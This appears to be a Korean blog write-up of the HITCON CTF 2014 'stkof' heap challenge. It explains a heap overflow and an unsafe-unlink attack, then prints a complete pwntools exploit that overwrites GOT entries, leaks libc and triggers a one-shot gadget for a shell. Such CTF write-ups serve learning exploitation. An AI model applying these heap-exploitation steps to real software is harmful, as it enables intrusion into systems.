뇌
[ Pwnable ] HITCON CTF 2014-stkof write-up 본문
[ 메모리 보호기법 ]
[ source code ]
#1 Alloc()
원하는 사이즈로 malloc 하고, 반환받은 주소를 chunklist에 저장
#2 Write()
chunklist에서 원하는 힙 주소를 골라 원하는 사이즈만큼 쓰기 가능 → Heap overflow
#3 Free()
chunklist에서 원하는 힙 주소를 골라 free 후 배열값 초기화 → uaf
X, double free
X
#4 len_check()
문자열 길이를 체크하는 함수인데 왜 있는 건지 모르겠음
[ 공격 루틴 ]
0. 2번의 Heap overflow를 이용해 Unsafe unlink
~
1. fastbin이 아닌 힙 청크 두개 생성
2. 첫번째 힙 청크에 fake 청크를 만듦
2.1. fake 청크의 fd
를 chunklist[1]-0x18, bk
를 chunklist[1]-0x10, 두번째 힙 청크의 prev_size, size 변조
3. Free() 함수로 두번째 힙 청크 Free ! → chunklist[1]에 chunklist[1]-0x18 이 들어감
4. Write() 함수로 chunklist[1] (chunklist[1]-0x18) 을 다시 변조
4.1. chunklist[1]에 free@got
, chunklist[2]에 puts@got
로 변조
5. Write() 함수로 chunklist[1] (free@got
)에 puts@plt로 변조 ( got는 jmp 0x7f~~(함수의 실제주소)
를 하므로 plt를 넣어야됨 )
6. Free() 함수로 chunklist[2] Free ! → puts(puts@got);
가 실행 → libc leak
!
7. chunklist[1] (free@got)에 one_shot gadget 를 넣음
8. Free() 함수로 chunklist[1] Free ! → one_shot !!
[ Exploit ]
from pwn import *
context.log_level = 'debug'
p = process('./stkof')
e = ELF('./stkof')
libc = e.libc
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rl = lambda : p.recvline()
rvu = lambda x : p.recvuntil(x)
def Alloc(size):
sl('1')
sl(str(size))
rl()
rl()
def Write(idx, size, data):
sl('2')
sl(str(idx))
sl(str(size))
s(data)
sleep(0.1)
rl()
def Free(idx):
sl('3')
sl(str(idx))
chunklist_addr = 0x602140
Alloc(0x100) # 1
Alloc(0x100) # 2
pay = ''
pay += p64(0)*2 # header
pay += p64(chunklist_addr+0x8-0x18) # fd
pay += p64(chunklist_addr+0x8-0x10) # bk
pay = pay.ljust(0x100, '\x00')
pay += p64(0) # prev_size OK
pay += p64(0x411) # size OK
pay = pay.ljust(0x100+0x410, '\x00')
pay += p64(0x510) # prev_size
pay += p64(0x110) # size
Write(1, len(pay), pay)
Free(2) # unsafe unlink
rl()
pay = ''
pay += '\x00'*0x18 # dummy
pay += p64(e.got['free']) # 1
pay += p64(e.got['puts']) # 2
Write(1, len(pay), pay)
Write(1, 8, p64(e.plt['puts'])) # free@got dup into puts@plt
Free(2) # libc leak
libc_base = u64(rvu('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
rl()
Write(1, 8, p64(libc_base+0xf0364)) # free@got dup into one_shot gadget
Free(1) # one_shot gogo!
p.interactive()
모르는 점
함수하나를 실행할 때마다 puts로 "FAIL"이나 "OK"를 출력하는데 heap chunk를 생성한 후 그 문자열이 거기 들어간다.
왜 그러는지 모르겠다.
'Pwnable > Heap' 카테고리의 다른 글
Heap에서 발생하는 엄청난 트릭들 (0) | 2022.01.11 |
---|---|
[ Pwnable ] 2017 Insomni'hack WheelOfRobots write-up (0) | 2021.02.19 |
[ Practice ] tcache dup_1 (0) | 2021.02.15 |
[ Practice ] The House of Spirit_1 (0) | 2021.02.15 |
[ Practice ] fastbin dup_1 (0) | 2021.02.15 |